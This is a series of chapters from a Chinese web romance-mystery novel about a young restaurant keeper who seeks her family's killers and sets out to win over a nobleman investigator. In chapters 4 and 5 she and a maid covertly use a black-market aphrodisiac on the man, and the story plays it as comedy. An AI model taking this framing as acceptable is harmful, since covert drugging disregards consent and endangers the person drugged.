《钓系掌柜只想逢场作戏》 1. 因果成卦 《钓系掌柜只想逢场作戏》全本免费阅读 仲秋的江南已是草木摇落,风入轻寒,哪怕是晴朗的午间也沁着丝丝凉意。此时莲州的街道上秋风阵起,引得黄叶轻舞飞扬。 谢家的女管事刘宛在玉春楼盘完账,牵着裹得严实的小姑娘走了出来。身量不过半人高的小姑娘缩在金银线绣的皮毛小氅中,又戴着幕篱,从头至脚只露出一截乌黑发亮、簪满金珐琅攒红宝石的丸髻。 玉春楼三层飞檐下,皆是宝窗朱阑、珠帘绣额,有眉眼抹着俏色的女倌倚在阑干处,迎着不那么暖和的日光朝刘宛挥手作别。 刘宛回过头,招招手让她们回去,低下头对牵着的小姑娘道:“小姐,因玉春楼是夫人亲自掌柜,今日我只是查了明帐。若是要查谢家其它旁系铺子,这背后账本上走水串皮、阴阳账、翻墙头等事多如牛毛,底下的人做错事,倒霉的却是主家。” 谢辛辛应了声记住了,薄薄的幕帘下眉头紧锁。 她虽是莲州富商谢家的大小姐,爹爹却不愿她继承家业,一心要把她嫁去宣王府当个世子妃一类。今日她还是磨了爹爹大半个时辰才得以跟出门学看账的。 本该高兴的事,不知为何,她此刻总觉着六神不安,心上沉甸甸的,仿佛这个场景已经历多次。 忽看到西北方天空被染成了灰红,滚滚的浓烟直冲云霄。谢辛辛浑身一震,胸中便立刻揪心地疼起来,脑中忽然过了一个念头:果然如此,果然又是如此。 “宛姐姐,快,快回家!” “快啊!” “走水了!” “走水了——!” 起烟的方向传来尖叫与嘶喊。 刘宛牵着谢辛辛的手倏地一紧。她呆愣地看着那处浓烟的方向恍若不闻,张口几次,忽然反应过来,拉着谢辛辛匆忙赶起路,口中喃喃念叨: “小姐放心,不会的,怎么可能是谢家呢。” 刘宛的脚步很快,到最后她干脆抱起谢辛辛,快步小跑起来,直待热浪袭卷到面前,那漫天黑烟中,倾倒在地上已成焦黑的谢府牌匾映入眼帘。 涂着红蜡的谢府大门歪颓地倒在地上,露出在热气里变了形的谢府内貌。莲州商贾大家原本幽然雅致的门庭,此时化作冒着火星的灰烬,时而劈啪作响。 刘宛浑身止不住地颤抖,慌忙转身,想将怀中孩子的视线调转开去,却发现谢辛辛早已揭开了幕篱,睁大了眼睛。 …… “干了!” 玉春楼大堂,食客们举杯的高呼惊醒了谢辛辛。她睁开眼,发觉自己坐在柜台前打了盹。 又梦见了三年前。 食客们醉酒言欢声里,谢辛辛抚上胸口,静静感受着梦中带出的沉重的懊恨。或者说那并非是梦,而是真切的记忆。三年来,自谢府连同府中人口都被一把奇怪的大火烧尽后,这种懊恨就如一根木刺深扎在她心中。 若当年自己乖乖留在府中,是否有机会阻止这场灾难? 官衙无为,谢家一日灭门的诡案在官府的悬案册中如一笔不经意的墨点,三年无人深究。可无数次地在梦中重历那一日,令她坚定着隐忍复仇的决心。 哪怕不知这大火的幕后指使是谁,便是凭这个决心,她也得以守着这玉春楼,默默寻找那不知哪一日会露出的草蛇灰线。 “谢小掌柜,再来一坛子好酒!” 有客人兴至而歌,举着杯向她要酒,她也便挂上笑,朗声应道好嘞。窗外的日色托着秋叶,在玉春楼雕着松竹梅的窗格外慢悠悠地走着。她抬头迎着窗外,一时晃了眼,目光虚虚地落在对街的茶楼饭肆上。 玉春楼的地段极好,周围的茶饭铺子均是热闹。只是她眼前是这样太平日子,面上是满月般的笑容,心中却是积寒不化的悔恨。 正要起身,门口却走进两个穿着蓝青吏服的捕快,提着腰刀直朝她走来。谢辛辛反应过来,极快往前迎了出去,把那二人拦在门口不能往里再走。 “两位大人威武得很,”谢辛辛福了身子,话中却绵里藏针似地,“只是我玉春楼客人都有些身份,惊吓了他们,我怕大人为我做不了主。” 这三年她没少求着衙门重查谢家一案,只是衙门人人推三阻四,搪塞过去,因而她对官衙中人全无好感。 那高个子的冷笑道:“有甚可惊吓?不做亏心事,不怕鬼敲门。” “这又是怎么个说法?”谢辛辛笑弯了眼,“大人英明神武,为何以鬼自比啊?噢,莫非莲州衙门这尸位素餐的风气盛行,如今阴气森森?” “你……!” “好了好了。”那矮个子便要打圆场,拉扯他一下小声提醒道,“你新来的?玉春楼是宣王府的产业,那谢掌柜便算是宣王府的人。” 那高个子似乎更愤恨,却不再出声。矮子便拱着手说道:“冒犯了,谢掌柜请跟我们走一趟。” 谢辛辛诧异:“我犯了什么事?” 那二人却不再多说,领着她,一言不发地向衙门行去。谢辛辛得小跑着才能跟上他们的脚步,心中暗自琢磨着。 这两人无意引起骚乱,也未出示海捕文书一类,想应不是自己犯了什么律法。 虽如此说,家中灭门后,与她曾有婚约的宣王府突然出面,以照顾遗孤之名替她接过了谢家大小产业。而自己作为被王府收养的那个“谢家遗孤”,一直以来都在以玉春楼替王府办些洗钱敛财一事,这生意,也说不上多清白。 谢辛辛苦笑,没想到儿时宛姐姐教她严查的假账做法,如今她全自己用上了。 只是宣王府的生意,衙门怕是也难管罢?听说莲州知州郭大人不也是宣王党羽么?她拧了眉,愈发想不出衙门唤她何事。抬头向街上四处望了眼,隐约瞥见茶坊上一闪而过的月白衣袍,谢辛辛并未放在心上。 二位衙役将自己一路领去见了这位知州郭大人,竟默默退下了。她环顾四周,自己正身处一隐秘无窗的小房间内,除了郭知州,还有一位闭着眼,背着身家行当的白发老者。那老者背篓中插一面算命幡,书有“知天命,破迷津,八字合婚,风水布局”等字。 “是她吗?”郭大人向那算命的老者问道。老者称是,郭大人的脸上便即刻浮现出喜色,一迭声称好。 谢辛辛正觉得好笑,未想到堂堂知州大人竟也信这卜算玄学。可下一秒,郭大人恭恭敬敬地朝她做了一揖,接下来的话便如一道惊雷于她耳畔炸响: “谢掌柜,我有当年谢家一案的线索。” “只是你不能白拿,需付出一些代价,你可愿意?” 心中轰地一声,如脑内被雷电劈中般惊愕。心中的希望之火燃起得太过突然,谢辛辛指尖微微发抖。她控制着自己的声音,尽量平稳地答道: “愿意。大人想要多少钱?” 郭大人拧了眉毛,反而纠结为难起来,踌躇着说:“不要钱……只是你……” 她顿时脸色发白,略僵硬道:“郭大人堂堂莲州知军州事,不会是想小女子以身相报吧。” “不不不。”郭大人忙摆手,“谢掌柜,我便直言了,我年轻时曾在邺州有一段露水姻缘,因而有个儿子本在邺州铁场做活。” “那铁场管辖的矿脉被蓄意炸毁了一半,有人诬陷是我儿所为,使他白白获罪入狱。佘半仙这一卦,算出你便是能助我儿翻案的贵人。” 2. 金风玉露 《钓系掌柜只想逢场作戏》全本免费阅读 谢辛辛并不多纠缠,只因她自三年前起便不信卜算玄学。 先帝极信道教神说。常说上有好者,下必有甚,一时间不单大夫高官各个尊奉老君,文人墨客亦好谈道。商贾富户免不了附庸风雅,府上常例请些道士为家门卜卦祈福。 谢辛辛犹记得娘亲在时,常在重午节请人为谢府卜吉凶,避祸祈福。道士们都说谢府是积善之家,必有余庆。小小的谢辛辛依在谢夫人的怀里,抬头便能看见她笑弯弯的眼睛。 所谓余庆,在飞来横祸中付之一炬,实在讽刺得很。 …… 半月后便是裕元3年的八月上旬。茶坊二楼,看上去还未及弱冠的小仆弓腰递上茶盏。陆清和凝神望着窗外的景色,一时专注,忘了去接。 以一条平整方正的青石板路为中轴,茶坊的对街有一三层相高、梨木碧瓦的酒楼。酒楼门面窗户皆雕花镶翠,彩光璀璨,即使在闹市中央也极为显眼。夕阳斜洒在其似有一丈长的牌匾上,为“玉春楼”三个大字镀上几寸金光。 “公子,”小仆仍将茶盏举过头顶,出声提醒,“今日便是八月初七了。公子之前放出消息,便说的是八月初七才到莲州。” 他这才回神,接了茶却往桌上一放,一双幽深的眸子半掩,瞧着便是位冷心冷情的高门子弟:“走吧,看郭知州找的人想出了什么法子应对我。” 名为阿凤的小仆应了是,又不解道,“何不让衙门派人来围住此处呢?公子奉北瑛王殿下的密信查人,衙门没有不配合的道理。” 陆清和垂了垂眸,一时无言。 这陆清和便是北瑛王的庶子。不比世子陆景明生得浓眉宽面、张扬潇洒,他继承了母亲一双狭长的狐狸眼,却不显妖戾。在他淡然平静的脸上,这双眼睛倒像救苦应化的菩萨般,克制、慈悲。 而他所办之事却往往如冥界阴差,悄无声息行走在人间中,替王府完成秘命。 正如这次。 他摸出几钱碎银,轻轻招手示意结账,慢声道:“此事是父王密令,你可知,父王为何突然关心起邺州矿洞坍塌的案子?” 他见阿凤不懂,耐心说道:“父王要的,并非只一个毁坏矿脉的工人,而是根连株拔。” “是指郭大人吗?” 陆清和微微摇头:“不止。” 正欲抬脚,听那人举着算盘喊着“多了,多给了三钱”。陆清和便转身,冲那店家微一点头。 “拿着吧,这几日辛苦你了,我家公子赏你的。”阿凤说罢,仍是跟在陆清和身后向对街行去。 前脚刚踏进玉春楼的门槛,就有裹着麻布围裙的姑娘迎上来领去大堂的空位。本朝女儿家做起跑堂这类活计并不常见,玉春楼的几个女伙计却是利落的很,虽束起袖口,挽着抹布,却也整洁大方,年轻者则有心在细微处打扮,或有梳着双髻的,行菜时红珠耳坠微微晃动,俏皮得紧。 陆清和凝神看着菜牌,似乎对菜品很有兴趣似的,逐个念道:“要一碟琥珀糖冰盘,一碟‘琼珠碎’,一碟子‘金风玉露’,一盏碧螺春。”说罢,便静静等待着。 果然近处传来一泠然清脆的女子声音:“‘金风玉露’卖完了。” 陆清和抬眼望去,谢辛辛欹坐在账房前,故作姿态叹了口吁长婉转的气。一张桃花面,云鬓柳眉春杏眼,这双眼含着假意的郁结,使本该妩媚生情的样貌倒透出一份古灵精怪: “唉,当然了,客官若是想吃,倒是可以加价让厨子特做一份。” “只是我玉春楼这‘金风玉露’,要以桂圆、莲子、糯米、牛乳制成米糕不说,还需春分时的百花蜜与白糖一同熬煮成型,再将米糕倒入锅中,拉扯出金色的拔丝。如此费时费力,要为公子特做一份,价格也是不菲。” 陆清和温润地笑着:“掌柜请说。” 谢辛辛顿了顿。她早已看出这位气质独绝的公子爷便是佘半仙口中北瑛王府的贵人,方才只是信口胡诌,想试探一下这位贵人财力如何,能不能用钱搞定罢了。 俗话说,能用钱解决的问题都不是问题。若非到迫不得已,她也不愿用上美人计。 “五……呃,十两。”她狮子大开口,说完便有些忐忑。 眼见这公子果然皱了皱眉,谢辛辛悬着的心放下一半,心想十两银子都付不起,那就是没钱。没钱就好办了,她玉春楼背靠王府,那奉承王府的银子从她这如流水一般地过,使她光靠抽利便有了不少家底。 到时只消用银子砸他,给他吃给他穿给他买,不愁和这人成为朋友。取信于他又有何难? “既是如此精巧复杂的点心……” 陆清和似在考量,终于说道: “五十两便五十两。” 谢辛辛呼吸一滞。难道是认错人了,或许此人只是寻常来吃饭的纨绔公子哥? “你是哪家的少爷?”她忍不住问。 “见笑了,陆某只是北瑛王府一介门生。” 陆清和随口应付,谢辛辛却听得咬牙切齿。谁能料想王府门生都如此富裕? 既花钱的路子无法走,便只能牺牲一下美色了。谢辛辛想到就干,立刻挂上温柔笑意,左脚绊右脚,柔若无骨般要摔向那人身上去。 刚刚身子将斜,忽地楼上厢房中传来嚷叫,似有桌椅推搡之声,大堂的食客们茫然地抬头,陆清和也抬眼望去,听得二楼有人粗鲁地叫骂着:“你这伙计偷了郑爷的玉佩还想赖?玉春楼真真是不成气候。” 谢辛辛往前一个踉跄,登时忘了动作,直迈着步子往二楼行去,推开门却嗤笑出声:“我倒是谁,空口白赖地污我伙计的清白。这不是西街郑公子么。怎么着,自家厨子喂不饱你这个饭袋子,跑我玉春楼来讹饭吃?” 食客们听得此话,嘘声阵阵。这郑公子的名气也是莲州头一份的,乃是出了名的酒囊饭袋,仗着家中有钱有势,这些年不学无术,只会四处赌钱吃酒。 厢房内,一位瘦削的女伙计似是受了打,扶着脸愤恨瞪着郑家下人不出声。这郑公子倒像是个天真有气性的,被谢辛辛说得急了,高声道:“你……我听说你家糖酥酪好吃……才来的,这女子进来温个茶,我身上的玉佩就不见了。除了她还能是谁?” “茗琅,你说。”谢辛辛示意那捂着脸的姑娘。 “掌柜的,我没有。”茗琅发恨道,“我没瞧见过他的玉佩。这郑家小厮非要搜身,我女儿家,怎可让这等蠢物搜我的身!” 郑公子的小厮听得她这样骂人,直举起所佩短刀的刀鞘要向她砸去。 “放肆!” “且慢。” 谢辛辛与陆清和的声音同时响起。阿凤不知何时已闪身到了小厮面前,手脚极快地夺去短刀。谢辛辛上前一步护住茗琅,安抚地拍了拍她的肩膀。< 3. 有心悦之 《钓系掌柜只想逢场作戏》全本免费阅读 玉春楼后厨除去端盘传菜的杂工也有二十余人,刘宛便在其中。谢家失火后,她与谢辛辛因外出查账,成了唯二的幸存者,自此相依为命,一同投奔了宣王府。 从前替谢夫人管事,如今为谢辛辛掌理后厨。于她便也是个安慰。 晚膳时间正是酒楼最忙碌的时候,此时厨房正烟火缭绕,各厨位忙得勺铲翻飞。刘宛摇着一圆形蒲葵扇,坐在方木矮杌上小心煨着高汤。却见谢辛辛拧着眉毛走了进来,一屁股在她身旁坐下,面色不豫。 “掌柜这是怎的了?”刘宛停下扇子,纳罕道。 谢辛辛才被陆清和云淡风轻地噎了两句,鼓起脸又不知该从何说起,只得挑了些无关痛痒的,说起那西街的郑公子今日来酒楼闹的笑话,说他还向玉春楼放了狠话。 “宛姐姐,你知不知道那郑公子家中究竟是什么来头?” “掌柜的可问对人了,这事说起来可复杂着。”刘宛笑着放下手中的事,掰着指头道,“这郑家祖上也着实显赫过,先帝尙在位时,前太师郑弋曾权倾朝野、一手遮天,后来不知犯了什么事,获罪成了谪官,此人正是郑公子也就是郑瑾瑜,他二爷爷。郑公子的父亲便是郑弋的远侄。” “郑弋虽倒了,郑弋的次女,郑瑾瑜的远房姑姑却在得势时嫁了探花郎,这探花郎本该进京受官的,被此事牵连,如今在邺州做了个监当官,管着铁冶监。自郑瑾瑜这代,郑家已经没什么人物,便是借着这姑姑的势,才敢气焰嚣张。” 这关系一门亲扣着一门亲的,谢辛辛听得糊涂,迷迷糊糊只听到铁冶监三个字,心想也不知和郭知州那个遭人诬陷的儿子有无关系。若真是他害了郭知州之子,阴差阳错使自己有机会拿到谢家案的卷宗,那此人还算是自己半个恩人。 只是在此之前她得完成郭知州的任务才行。 她发起呆来,思绪百转,又转到自己当下的事情上。刘宛看她怔住了,正要拿火扇朝她眼前晃,就听她没头没脑地问道:“宛姐姐,如何取得一个男子的信任?” 刘宛想了想便明白过来,脸上有了喜色:“这可难得了,掌柜的可是终于开窍了?”又狐疑道:“不会吧,你看上了那郑瑾瑜?” “不是不是!”谢辛辛忙摆手。 刘宛放下心,又想到若不是三年前的变故,谢辛辛早该与宣王世子订了亲。如今谢辛辛成了遗孤,没了母家倚仗,这门婚事自然而然无人再提。她又黯然下来,小心翼翼道: “难道是……世子殿下?” “那更不是了!” 刘宛又眉开眼笑起来:“那便是有旁的心悦之人了?” 谢辛辛正要否认,看着刘宛欢喜的样子,无端端想起了爹娘。 如今待她似亲人的只剩刘宛一个。而她要着手做的事太过沉重,待事情败露后必有牢狱之忧,定是不能让刘宛知道的。 谢辛辛叹了口气,只得道:“是。我有心悦之人了。” 于是便被刘宛缠着描绘了一番陆清和的模样。她把刘宛当第二个娘亲一般哄着,自是半哄半骗把那陆清和说的天上有地下无,说他说得刘宛喜上了眉梢,她扯回话题来道:“可他说我不温柔,不婉顺,我瞧着他像是对我没那个想法。” 刘宛瞪了眼,眉毛一竖:“我看他可不是这意思。女子的能力可比温顺的性子重要的多,大夫人当年便是靠着在商场上运筹帷幄的气势,让老爷念念不忘。掌柜你小小年纪,就开得这玉春楼,像大夫人一样厉害。” 谢辛辛被夸得面热,虚推了两下她便红了脸。二人在后厨烹炒涮洗声的掩衬下说起闺中的闲话,一时笑闹起来,也没注意门口一个小小的身影闪了过去。 这厢陆清和正垂眸静坐,依旧是一副宁静无忧的模样,旁人也瞧不出这是在闭目养神,还是望着他这盘价值五十两白银的“金风玉露”思索。 阿凤一溜烟地跑到他面前,正要抱拳,被陆清和抬眼示意坐下。 “公子,是听到她说,要设法取得公子的信任。” 陆清和了然地轻笑:“这郭知州机关算尽,最后竟只想出这样一个办法。” 见阿凤欲言又止,他便问:“还听到些什么?” “还听到……听到她夸公子。” 这些话让阿凤这个年纪的孩子说,属实是有点为难。阿凤心一横,闭上眼睛一气说了下去:“她说公子丰神俊朗、美蓉如面,又说公子出手阔绰、风流慷慨,还说……” 对面主子的睫毛动了动,心想做戏也不应做这么全套,连熟人都骗过吧。一时想不明白个中缘由,也渐渐听得有了兴致,那冷褐色的眸子难得起了些波澜,眉眼盈盈处染上一抹悦色。 “还说公子是北瑛王府的门客,前途无量,未必比宣王世子差到哪里去……” 那眼中波澜便如寒风过境,瞬时冻住了。陆清和沉了目光,面上却声色不显,只冷冷哼道:“宣王世子?” “是。听那厨娘的意思,宣王世子与谢掌柜有些渊源,只是谢家变故后……” 阿凤说罢,悄悄睁开一只眼,见陆清和脸色不豫,赶忙补充道:“公子,你不若告诉她你也是王爷之子。公子身份贵重,旁人凡夫肉眼,看不出罢了。” “早闻宣王世子才大于德,果然如此。” 陆清和扣下茶杯的动作不自觉用力了些,杯盏间碰出“当”的声响,“无非是巨贾之女一夜之间失了母家倚仗,于宣王府便失去了价值罢了。以婚事作筹码,实非君子所为。” 说罢便冷冷垂了眼,一味品尝起那碟子他重金买下的糕点来。阿凤不敢多话,也不敢动筷,主子又一言不发,真叫是坐立难安。 “你也吃。”陆清和才突然想起来似的,开口道,“这三日我们就歇在此处,你仔细休要再提此话了。在莲州,我是北瑛王府的门客,而非北瑛王的儿子。” 阿凤刚要应下,又听他兀自补充一句: “我与宣王府之流无甚好比。” 夜幕低垂,江南潮湿,秋夜往往霜重露轻。虽说明日才是初八,莲州的小巷也有百姓早早在院子里做起水灯、揉起面饼,以备中秋。各家各户灯烛灭得晚些,打更人也更有劲头似的,咚咚敲着梆子,拖着声音念“戊时安宁,防火防盗”,从东街的玉春楼一路念到西街的郑府。 紧闭的郑府大门内却是鸡飞狗跳。郑夫人房里的大丫头们正做着灯笼玩,那郑瑾瑜蒙头闯了进来就大喊“娘”,不等屋内有回应,就把院子里的丝绸灯笼踢坏了几盏。丫鬟们习以为常,撇了撇嘴 4. 寤寐求之 《钓系掌柜只想逢场作戏》全本免费阅读 不对劲,一切都很不对劲。 谢辛辛坐在妆奁前,手指有一搭没一搭抚着三层黄花梨木妆奁盒最下层的屉子上,里头静静地躺着一片鹅黄色的锦布。 协同北瑛王府速察矿案,飞信汇报,事急勿缓。 她默念着锦布上的这句话。 月华如练,映照得玉春楼的后院明亮如昼。自谢府烧成灰烬、谢辛辛成为酒楼掌柜,她便一直住在玉春楼院子最深处的厢房中。 既近中秋,圆月的光华透过窗格,倾泻在谢辛辛卸了珠钗的乌发上。她微微侧首,月光便凉凉地攀上她略显苍白的唇。因梦魇的缘故,她夜里少眠,因此身形早比做谢府小姐时已消瘦不少,在秋夜的月色下犹显风华有致。 “宣王府,命我协助陆清和查案。” 她用指尖点着屉子,自言自语。 “郭大人,亦要我协助陆清和查案。” “可,郭大人,却说此事需瞒着宣王府……” 她微微皱起眉头,指尖点动地快了些,似乎飞速地思考着。 郭大人既然如此说,应是未和宣王府通过气的,想必他以为查明此事于王府无益,甚至有害。 而宣王府如此急迫,还令自己时时递信,说明尽快查清真相,才于王府有益。 如此,是不是说明,二者所倾向以为的真相是全然不同的? 一个问题想明白了,紧接着又现出下一个问题。郭大人找上自己是因为一个卦象,那宣王府找上自己一个只管收账的酒楼掌柜是为什么?难道只因为陆清和下榻了玉春楼么? 不知何处的水塘传出一声蛙叫,惊得谢辛辛醒了神,指尖跟着停住了,原先纷乱的心思也渐渐平复下来。 管它呢。谢辛辛想。 左右她只消达成自己的目的。于她而言,完成任务拿到谢府案的卷宗即可。这主家与知州府之间的事体,是与她无关的。 如今她当务之急,是得想法子,在陆清和稽留莲州这三日之内,顺顺当当的有个身份,随陆清和查案去。 她手指微动,轻轻勾上妆奁盒的中层屉子,抽屉中发出沉闷一声当啷,似有瓷瓶与梨木相撞。 是她从黑市买来的玉肌香。 顾名思义,用之肌肤生香,闻之使人心跳加速、□□亢盛。 宛姐姐说了,女子不一定非要温柔婉顺,像娘亲那样的气势也很好。 窗下的美人儿想到娘亲对爹爹霸道的一面,抿起嘴轻轻笑了。 他若无意,强要了他又有何不可? …… 八月八是个听起来就吉祥的日子。这日的晨光透过窗檐,细细地漏进玉春楼里。 不同傍晚时分的喧杂,清晨若坐在玉春楼的厢房之中,便只能听得小倌在廊间洒扫的响动。若留心去辨,连水珠儿被竹子帚丝扬起来的声也能听到,一下下的,颇为宁静平和。 一只黄腹黑脸的噪鹛忽然落到窗台上,啾啾地叫。阿凤本在为陆清和梳头,这会拿着梳篦便去驱鸟,嘴里发出呿呿的声音。那噪鹛却左跳右跳,叽啾着偏不跳走。 陆清和闭眼听了半晌,方才心平气定地说了一句:“随它去。” 闻言阿凤收回手,那黑脸噪鹛便像得了胜似的,挑衅般啼得愈加嘹亮。 阿凤憋着气道:“公子好静,而这噪鹛独独在公子窗前喧哗,可见其不识时务。” “你和鸟儿置气?”陆清和摇了摇头,如瀑的黑发如一潭惊动的墨池般轻轻晃动。 见那双菩萨般庄重的柳叶儿眼睛睁开看他,阿凤的心陡然一跳,有些赧然。 大家都说主子的眼睛随了府里的四姨娘,是顶好看的,阿凤觉得此言真真不假,哪怕是他,被这双眼睛这么一望,顿时连说什么话都要忘了。 他回过神,看出主子眼角里沁着笑意,方才放下心来说道:“鸟儿又如何,阿凤心里,公子是至中之重,顶顶大的。纵是只蝼蛄,也不该吵着公子的清净。” 那黑脸噪鹛眨了眨眼,一会儿就扇起翅膀消失在了晨光里。陆清和略偏了偏头,朝着鸟儿飞走的方向。一缕秋阳攀上他的眼睛,使那茶褐色的眸子一时怔忪了。 “一只鸟儿,难道也要讲什么君子静气。” 他淡淡笑了。 阿凤年幼,还是孩子心性。那鸟胜了阿凤一场,兀自飞走了,徒留下阿凤还鼓着嘴生气,并未细想公子话中之意。就听厢门突然砰砰响了两小声,极克制一般,像被小鸟啄了似的。 “什么人?”阿凤还没什么好气。 “是我。”门外女子细细小小地出声。 阿凤狐疑地与陆清和对视了一眼,明白两人心中想的俱是,这小虫般嗡鸣的声音不会是谢掌柜吧? 待陆清和慢条斯理的着了衣、束了冠,阿凤方才把门一推开,却见眼前女子颤巍巍举着一方木制托盘,上有好几盏青釉小碗,因她手臂颤动,叮叮哐哐地碰出声音。 阿凤忙忙地接了过来,主仆二人还未来得及问这是干什么,就闻到一股奇异的甜香,又听谢辛辛娇声嘟囔了一句:“这么慢,人家手都酸了。” “……抱歉。”陆清和下意识道完歉,才疑惑明明是自己的房门大早上被叩开了,怎么自己还未开口说什么就亏欠了她一般。 “没事没事。”谢辛辛甩了甩手腕,极大度道。 应是忽然想起这般行为与人设有碍,又细声细气见了个礼,找补道,“为客人准备早膳,是我分内之事。哎,你们还未洗漱吧,这位小侍从是叫阿凤么?” 阿凤忽然被点,刚茫然地抬头,就被谢辛辛不由分说推出了门外。还未听清她口中说了些什么“院子西边有井水,可供打水洗漱”之类的话,那门就哐当一声在自己面前合上了。 “我昨夜就去院子里打过水了呀……”阿凤挠了挠头,不明白这掌柜的为何突然今日才提起打水的事。 他在门口等了一会儿,见公子也没再唤他再进去,便放下疑惑,听话地往院子去了。 “也罢,反正也要去打水给公子晨沐了。” 厢房内,谢辛辛将鬓边不存在的碎发按到耳后,一丝微汗挂在彤红的两颊,娇羞得要滴水似的。她本就生得面如桃花眼如星,此刻面色红润,显得五官愈加明艳。 陆清和静静望向她,饶知她一定算计着什么,心跳也忍不住漏了一拍。 是这股甜香气的原因么? 陆清和睫毛轻颤,微不可察的皱了皱眉。 此刻她垂着眼睛,将那小盏一碗一碗地揭开: “这是我亲手熬煮的金玉翡翠酸笋粥,这是淮山甘草药膳汤,这是紫花香米糕……” 说到这里,谢辛辛语速快了些,把接下来的话一股脑说完了:“昨日与公子一面之缘,我心里一直记挂着公子,这些是我区区心意,请公子一定要用些。” “公子——” 忽然周身一阵轻微的暖风,陆清和闪避不急,被眼前的少女冷不丁凑了上来,那么近,她轻轻软软的呼吸仿若几枝莲塘边的芦苇,轻扫过他的面额。陆清和能看见她眼里自己绷紧了脖颈的倒影。 “公子,妾来服侍公子用些早膳,可好……” 奇怪,他的心跳如鼓。 他算是知道了,谢小 5. 飞鸟掠池 《钓系掌柜只想逢场作戏》全本免费阅读 空气忽然很静。 谢辛辛睁大了眼睛,只想着为何这一刻,雀儿不吱啾了,伙计不篲扫了,连风儿竟也像是在半道停了。 他本就朝她半伏着身子,背着光,谢辛辛一晃神,辨不清他的神情。 此时他扬起的衣袍忽地坠了下来,拂过她的脚背,有些痒。 事出反常,必有妖。 她偷偷动了动脚趾,脑中只有这个念头。 “既然我们两心相悦,”陆清和贴着她的耳朵,轻声道,“玉春楼与宣王世子之间的事,是否该于我坦诚相待才是?” 果然! 遇到老狐狸了! 一码归一码,将玉春楼的底细这么轻易交出去是不可能的。从商人的角度看,没有利益的事情,谢辛辛从来不做。 于是伸手将他一推……没推动。 “你先起来。”她被笼罩在他的影子里,有些急了,“来日方长……你急什么!” 他仍是笑,笑得谢辛辛不知如何是好。门外却在这时响起了脚步声,陆清和忽然直起了身子,在分寸之外垂眸站定了。 谢辛辛眼瞧着才说了那般孟浪话的人若无其事敛了神色,依旧稳稳簪着那顶白玉发髻,像尊清逸超尘的佛塔一般,又回到了宁静淡泊的模样。 这是何意?欲迎还拒? 谢辛辛想不好该如何回应这突如其来的变故。她自认自己敢字当头,却也没见过陆清和这般琢磨不透的人物。 索性现在提出要随他去邺州吧?她正犹豫着,门忽然吱呀一声被推开了。 “公子,我回来了!” 是阿凤的声音。 不应该呀,怎么这么快?她暗暗诧异。从这儿去水井的距离,她是仔细估算过的。 转头望去,却见茗琅手捧楼中最贵重的那个金彩祥云纹铜盆,低头跟在阿凤身后。 “上回幸得公子解围,茗琅不知何以为报,想着今晨为公子打水净面,得以借机道谢。未想正来路上就遇到了阿凤……公子,我……” 茗琅诺诺然抬眼。 她没想到掌柜的也在这里,一时不知该不该说下去。 谢辛辛心头还为刚才的事惶然着,察觉到茗琅失措的目光,心下明白有旁人在场,茗琅怕是有些害羞,便浑浑沌沌着就找了借口离开了。 离开前,她向屋内瞥了一眼,陆清和仍站在原处,目光静静地落在她的身上。 直到走回了自己的房间,谢辛辛仍觉得肌肤生热,胸口发烫。她松了松围腹,从后腰掏出一个鸡蛋大小的鎏银缠枝纹手炉来。 她第一次接触百肌香这种旁门玩意,只知道黑市贩子说涂用“适量”,她又哪里懂得“适量”是何种量,便在耳后、腕间、锁骨处都厚厚抹匀了一层,又怕香膏起效太慢,用围腹裹了她的小手炉,敲碎了热炭放在其中,使自己体热上升,香膏也挥发得快些。 怎想到用量太过,就连此刻她的心也砰砰跳着,像只受了惊的猫儿在胸腔里乱撞。 她慌里慌张地找出解药瓶倒出几粒小褐丸,就着早间凉透了的茶水就吞服了。待心口渐渐平稳些,谢辛辛才醒豁过来,思索方才发生的一切。 才想了那么一霎,陆清和那双深褐的眼睛就又出现在她眼前似的。他那双眼惯是清醒而冷澈的,可她分明看到有那么一瞬,这双眼眸却如飞鸟惊起千层浪一般,险些失了克制。 可后来,他的眼中却升起了一丝野望,像薄冰之下的一簇火苗,暗暗地、不怀好意地窥伺着她。 这种野望,她在前来玉春楼的官员贵胄眼中见过不少,而出现在陆清和的眼中却是那样突兀,把她也惊了一跳。 一谈及宣王府,他的眼神便不同了。在此之后,他所言心意,还能作数吗? 陆清和,到底还怀着什么目的? “等会儿……” 谢辛辛总觉得忘了什么,这会子突然想了起来,一拍大腿。 “他中了玉肌香,茗琅还在他那呢!” 那厢刘宛正朝掌柜这屋寻了过来,就看她揣着一个小瓶破门冲了出去。刘宛咦了一声,忙伸手将她一拦: “掌柜的这是急着做什么去?” “也,也没什么。” 总不能让宛姐姐知道自己用上了这种香膏! “若不急,掌柜的先随我去大堂吧,那郑家的公子又来了,指名要找你呢!” 谢辛辛心下惦记着茗琅,正发着急,一边想着陆清和像是个克己复礼的,应不会对茗琅下手吧,一边又想这郑瑾瑜这么早又来玉春楼做什么,难道是回家搬了救兵来闹事的,一时之间口舌跟不上脑中的飞转的思路,拧着眉磕巴道: “这,这大清早的?他,他来闹什么?” 刘宛一时也说不出个一二,便拉着谢辛辛往酒楼大堂里去。 郑瑾瑜就站在门口,竟是未带长随、孤身一人。明明见到她来了,眼神却飘忽着,假装没看见似的。 谢辛辛飞着眉毛,音色里全无耐性:“郑公子,有话直说。” 那郑瑾瑜被郑夫人那么说了一通,在心里构排了一夜该如何面对谢辛辛。这会才作好了心理准备,却被谢辛辛这冷冷的一句话打退了。此时便羞恼道: “你这么凶干什么!” 谢辛辛揣着那一小瓶解药,发自内心地翻了个白眼:“郑公子,你上回说我折了你的面子,气势汹汹地要我玉春楼等着你。” “这一大早你又指名道姓的要我谢辛辛来见你,这会居然只有这句话要说?” “那我走了。” 见谢辛辛真抬脚要走,郑瑾瑜又急了:“别别别,我有事,我真的有事!” “你最好是真的有事。” 谢辛辛随手扯来一长条板凳,径自落了座,斜斜欹坐着,抬抬下巴示意郑瑾瑜往下说。 “我……” 就在郑瑾瑜与谢辛辛掰扯时,陆清和淡淡地看着眼前紧张娇羞的女倌。 “公子,自你昨日相救,茗琅心中便……”茗琅死命低着脑袋,只露出一截白皙的脖颈。 “茗琅敢问公子此后要往何处去,若公子不嫌弃,可否带上茗琅一起?” 她鼓起勇气抬起头,双手贴着心口以表 6. 一误再误 《钓系掌柜只想逢场作戏》全本免费阅读 同为媚药,一式两份,双管齐下。 “茗琅姑娘,你明白了吗。” “你与谢辛辛之行事手段,差若天渊。” 茗琅心一跳,不由回想起些往事。 她自幼无父无母,是宣王府接济了她。正如三年前谢家失火,宣王府也接济了谢辛辛。 